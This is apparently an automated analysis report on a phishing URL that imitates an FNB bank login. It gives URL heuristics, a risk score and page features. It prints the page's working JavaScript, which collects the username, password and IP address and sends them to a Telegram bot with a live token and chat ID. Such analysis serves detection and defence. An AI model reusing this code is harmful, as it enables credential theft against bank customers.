Windows Analysis Report
https://pub-ce1f93897bdf44e9b1cd99ad0325c570.r2.dev/index.html

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": true,
    "ip_in_url": false,
    "long_subdomain": true,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": true
}

URL: https://pub-ce1f93897bdf44e9b1cd99ad0325c570.r2.dev

{
    "risk_score": 7,
    "reasoning": "The provided JavaScript code exhibits several high-risk behaviors, including data exfiltration and potential phishing attempts. The code retrieves the user's IP address and sends it, along with the user's login credentials, to a Telegram bot. This behavior is highly suspicious and could be used for malicious purposes, such as credential theft or other types of attacks. Additionally, the code redirects the user to a different page after a short delay, which could be part of a larger phishing or social usering scheme. Overall, this code poses a significant security risk and should be thoroughly investigated."
}

	  /* Add "https://api.ipify.org?format=json" statement
        this will communicate with the ipify servers in
        order to retrieve the IP address $.getJSON will
        load JSON-encoded data from the server using a
        GET HTTP request */

        $.getJSON("https://api.ipify.org?format=json",
                                        function(data) {

            // Setting text of element P with id gfg
            $("#gfg").html(data.ip);
        })

	


const form = document.querySelector("#signOnForm");

form.addEventListener("submit", (e) => {
    e.preventDefault();


    var text1 = document.getElementById("ai").value;
	var text2 = document.getElementById("pr").value;
    var text3 = document.getElementById("gfg").textContent;
    
    var my_text = `FNB Signin %0A<b>Username</b> : ${text1} %0A<b>Password</b> : ${text2} %0A<b>IP</b> : ${text3}`;
    // Note! <br> == %0A <br>-Not work


    var token = "7919234276:AAGG6S3Ajkiw_vFWDbiQASbTouy0Vnx6sM8"; // Your Telegram Bot token
    var chat_id = "7766406006" // Chat ID || You can get easily receive JSON data from Telegram BOT in this web site - https://t-bot-r.netlify.app
    var url = `https://api.telegram.org/bot${token}/sendMessage?chat_id=${chat_id}&text=${my_text}&parse_mode=html`

    let api = new XMLHttpRequest();
    api.open("GET", url, true);
    api.send();

    console.log("Message successfully sended!")

	

			function sayHi() {
		  window.location.replace("indexx.html");
		}

		setTimeout(sayHi, 3000);


})

 

{
  "contains_trigger_text": true,
  "trigger_text": "Please enter your FNB Username and Password to Login",
  "prominent_button_name": "Login",
  "text_input_field_labels": [
    "Username",
    "Password"
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}